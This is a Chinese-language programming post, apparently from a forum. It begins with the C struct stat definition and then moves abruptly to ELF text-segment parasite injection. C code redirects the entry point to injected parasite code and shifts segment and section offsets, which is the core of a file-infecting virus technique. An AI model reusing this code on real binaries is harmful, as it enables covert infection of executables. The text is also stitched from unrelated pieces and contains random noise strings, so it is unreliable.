struct stat
{
dev_t st_dev; /* ID of device containing file -文件所在设备的ID*/
ino_t st_ino; /* inode number -inode节点号*/
mode_t st_mode; /* protection -保护模式?*/
nlink_t st_nlink; /* number of hard links -链向此文件的连接数(硬连接)*/
uid_t st_uid; /* user ID of owner -user id*/
gid_t st_gid; /* group ID of owner - group id*/
dev_t st_rdev; /* device ID (if special file) -设备号,针对设备文件*/
off_t st_size; /* total size, in bytes -文件大小,字节为单位*/
blksize_t st_blksize; /* blocksize for filesystem I/O -系统块的大小*/
blkcnt_t st_blocks; /* number of blocks allocated -文件所占块数*/
time_t st_atime; /* time of last access -最近存取时间*/
time_t st_mtime; /* time of last modification -最近修改时间*/
time_t st_ctime; /* time of last status change - */
}; _stat结构体是文件(夹)信息的结构体,定义如下:以上信息就是可以通过_stat函数获取的所有相关信息,一般情况下,我们关心文件大小和创建时间、访问时间、修改时间。
获得文件格式,在section后增加一个内存页。将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小。e_shoff是节头表偏移,如果二进制文件有节头表,节头表在文件格式布局的底部,向上紧挨着的就是每个节(段)的内容,寄生代码注入到了text段后面,即被注入到text段中最后一个节的后面,这样让后面剩余节内容、节头表都想后移动一个内存页的大小,注意pagesize的大小根据操作系统位数更改。 : J) y& n7 d4 f$ q% h# B( y E
int i, j;
for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD) {
if (phdr[i].p_offset == 0) {
o_text_filesz = phdr[i].p_filesz;
end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
old_e_entry = ehdr->e_entry;
ehdr->e_entry = parasite_vaddr;
phdr[i].p_filesz += payload_len;
phdr[i].p_memsz += payload_len;
//遍歷每個 phdr, 后面加上 一个內存頁大小
for (j = i + 1; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
phdr[j].p_offset += PAGE_SIZE;
//phdr[j].p_offset += payload_len;
}
break;
}
}
找到 text 段的最后一个 shdr,将 shdr[x].sh_size 增加寄生代码的长度值,对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz。5 P e9 d, J* r) W4 G. O